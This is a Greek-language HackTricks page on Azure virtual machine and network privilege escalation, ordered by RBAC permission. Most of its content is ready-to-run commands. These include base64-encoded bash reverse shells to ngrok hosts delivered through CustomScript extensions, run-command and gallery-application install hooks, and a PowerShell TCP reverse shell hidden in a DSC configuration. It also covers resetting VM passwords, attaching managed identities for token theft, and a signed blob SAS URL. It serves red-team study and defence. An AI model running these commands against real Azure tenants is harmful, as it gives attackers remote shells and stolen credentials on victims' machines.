Az - Virtual Machines & Network Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

VMS & Network

Για περισσότερες πληροφορίες σχετικά με τα Azure Virtual Machines και το Network, ελέγξτε:

Az - Virtual Machines & Network

Microsoft.Compute/virtualMachines/extensions/write

Αυτή η άδεια επιτρέπει την εκτέλεση επεκτάσεων σε εικονικές μηχανές που επιτρέπουν να εκτελούνται αυθαίρετος κώδικας σε αυτές.
Παράδειγμα κατάχρησης προσαρμοσμένων επεκτάσεων για την εκτέλεση αυθαίρετων εντολών σε μια VM:

  • Εκτέλεση ενός reverse shell
# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
  • Εκτελέστε ένα σενάριο που βρίσκεται στο διαδίκτυο
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'

Είναι επίσης δυνατό να καταχραστεί κανείς γνωστές επεκτάσεις για να εκτελέσει κώδικα ή να πραγματοποιήσει προνομιακές ενέργειες μέσα στα VMs:

VMAccess extension

Αυτή η επέκταση επιτρέπει την τροποποίηση του κωδικού πρόσβασης (ή τη δημιουργία αν δεν υπάρχει) χρηστών μέσα σε Windows VMs.

# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredConfigurationState (DSC)

Αυτή είναι μια VM extension που ανήκει στη Microsoft και χρησιμοποιεί το PowerShell DSC για να διαχειρίζεται τη διαμόρφωση των Azure Windows VMs. Επομένως, μπορεί να χρησιμοποιηθεί για να εκτελεί αυθαίρετες εντολές σε Windows VMs μέσω αυτής της επέκτασης:

# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Υβριδικός Εργαζόμενος Runbook

Αυτή είναι μια επέκταση VM που θα επιτρέπει την εκτέλεση runbooks σε VMs από έναν λογαριασμό αυτοματοποίησης. Για περισσότερες πληροφορίες, ελέγξτε την υπηρεσία Automation Accounts.

Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)

Αυτές είναι οι απαιτούμενες άδειες για δημιουργία μιας νέας εφαρμογής γκαλερί και εκτέλεση της μέσα σε ένα VM. Οι εφαρμογές γκαλερί μπορούν να εκτελούν οτιδήποτε, επομένως ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό για να παραβιάσει τις VM περιπτώσεις εκτελώντας αυθαίρετες εντολές.

Οι τελευταίες 2 άδειες μπορεί να αποφευχθούν μοιράζοντας την εφαρμογή με τον ενοικιαστή.

Παράδειγμα εκμετάλλευσης για εκτέλεση αυθαίρετων εντολών:

# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true

Microsoft.Compute/virtualMachines/runCommand/action

Αυτός είναι ο πιο βασικός μηχανισμός που παρέχει το Azure για την εκτέλεση αυθαίρετων εντολών σε VMs:

# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh

Microsoft.Compute/virtualMachines/login/action

Αυτή η άδεια επιτρέπει σε έναν χρήστη να συνδεθεί ως χρήστης σε μια VM μέσω SSH ή RDP (αρκεί η αυθεντικοποίηση Entra ID να είναι ενεργοποιημένη στη VM).

Συνδεθείτε μέσω SSH με az ssh vm --name <vm-name> --resource-group <rsc-group> και μέσω RDP με τα κανονικά σας Azure διαπιστευτήρια.

Microsoft.Compute/virtualMachines/loginAsAdmin/action

Αυτή η άδεια επιτρέπει σε έναν χρήστη να συνδεθεί ως χρήστης σε μια VM μέσω SSH ή RDP (αρκεί η αυθεντικοποίηση Entra ID να είναι ενεργοποιημένη στη VM).

Συνδεθείτε μέσω SSH με az ssh vm --name <vm-name> --resource-group <rsc-group> και μέσω RDP με τα κανονικά σας Azure διαπιστευτήρια.

Microsoft.Resources/deployments/write, Microsoft.Network/virtualNetworks/write, Microsoft.Network/networkSecurityGroups/write, Microsoft.Network/networkSecurityGroups/join/action, Microsoft.Network/publicIPAddresses/write, Microsoft.Network/publicIPAddresses/join/action, Microsoft.Network/networkInterfaces/write, Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action, Microsoft.Network/networkInterfaces/join/action, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Όλες αυτές είναι οι απαραίτητες άδειες για να δημιουργήσετε μια VM με μια συγκεκριμένη διαχειριζόμενη ταυτότητα και να αφήσετε μια θύρα ανοιχτή (22 σε αυτή την περίπτωση). Αυτό επιτρέπει σε έναν χρήστη να δημιουργήσει μια VM και να συνδεθεί σε αυτήν και να κλέψει τα διαπιστευτήρια της διαχειριζόμενης ταυτότητας για να κλιμακώσει τα προνόμια σε αυτήν.

Ανάλογα με την κατάσταση, μπορεί να χρειαστούν περισσότερες ή λιγότερες άδειες για να καταχραστεί αυτή η τεχνική.

az vm create \
--resource-group Resource_Group_1 \
--name cli_vm \
--image Ubuntu2204 \
--admin-username azureuser \
--generate-ssh-keys \
--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \
--nsg-rule ssh \
--location "centralus"
# By default pub key from ~/.ssh is used (if none, it's generated there)

Microsoft.Compute/virtualMachines/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Αυτές οι άδειες είναι αρκετές για να αναθέσετε νέες διαχειριζόμενες ταυτότητες σε μια VM. Σημειώστε ότι μια VM μπορεί να έχει πολλές διαχειριζόμενες ταυτότητες. Μπορεί να έχει την ταυτότητα που ανατίθεται από το σύστημα, και πολλές ταυτότητες που διαχειρίζονται από χρήστες.
Στη συνέχεια, από την υπηρεσία μεταδεδομένων είναι δυνατή η δημιουργία tokens για κάθε μία.

# Get currently assigned managed identities to the VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>

# Assign several managed identities to a VM
az vm identity assign \
--resource-group <rsc-group> \
--name <vm-name> \
--identities \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2

Τότε ο επιτιθέμενος πρέπει να έχει συμβιβάσει με κάποιον τρόπο το VM για να κλέψει τα tokens από τις ανατεθειμένες διαχειριζόμενες ταυτότητες. Δείτε περισσότερες πληροφορίες στο:

Cloud SSRF - HackTricks

Microsoft.Compute/virtualMachines/read, Microsoft.Compute/virtualMachines/write, Microsoft.Compute/virtualMachines/extensions/read, Microsoft.Compute/virtualMachines/extensions/write

Αυτές οι άδειες επιτρέπουν την αλλαγή του χρήστη και του κωδικού πρόσβασης της εικονικής μηχανής για να αποκτηθεί πρόσβαση σε αυτήν:

az vm user update \
--resource-group <RESOURCE_GROUP_NAME> \
--name <VM_NAME> \
--username <USERNAME> \
--password <NEW_PASSWORD>

Microsoft.Compute/virtualMachines/write, “Microsoft.Compute/virtualMachines/read”, “Microsoft.Compute/disks/read”, “Microsoft.Network/networkInterfaces/read”, “Microsoft.Network/networkInterfaces/join/action”, “Microsoft.Compute/disks/write”.

Αυτές οι άδειες σας επιτρέπουν να διαχειρίζεστε δίσκους και διεπαφές δικτύου, και σας επιτρέπουν να συνδέσετε έναν δίσκο σε μια εικονική μηχανή.

# Update the disk's network access policy
az disk update \
--name <disk-name> \
--resource-group <resource-group-name> \
--network-access-policy AllowAll

# Attach the disk to a virtual machine
az vm disk attach \
--vm-name <vm-name> \
--resource-group <resource-group-name> \
--name <disk-name>

TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action

Σύμφωνα με τα έγγραφα, αυτή η άδεια σας επιτρέπει να διαχειρίζεστε το λειτουργικό σύστημα του πόρου σας μέσω του Windows Admin Center ως διαχειριστής. Έτσι φαίνεται ότι αυτό δίνει πρόσβαση στο WAC για τον έλεγχο των VMs…

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks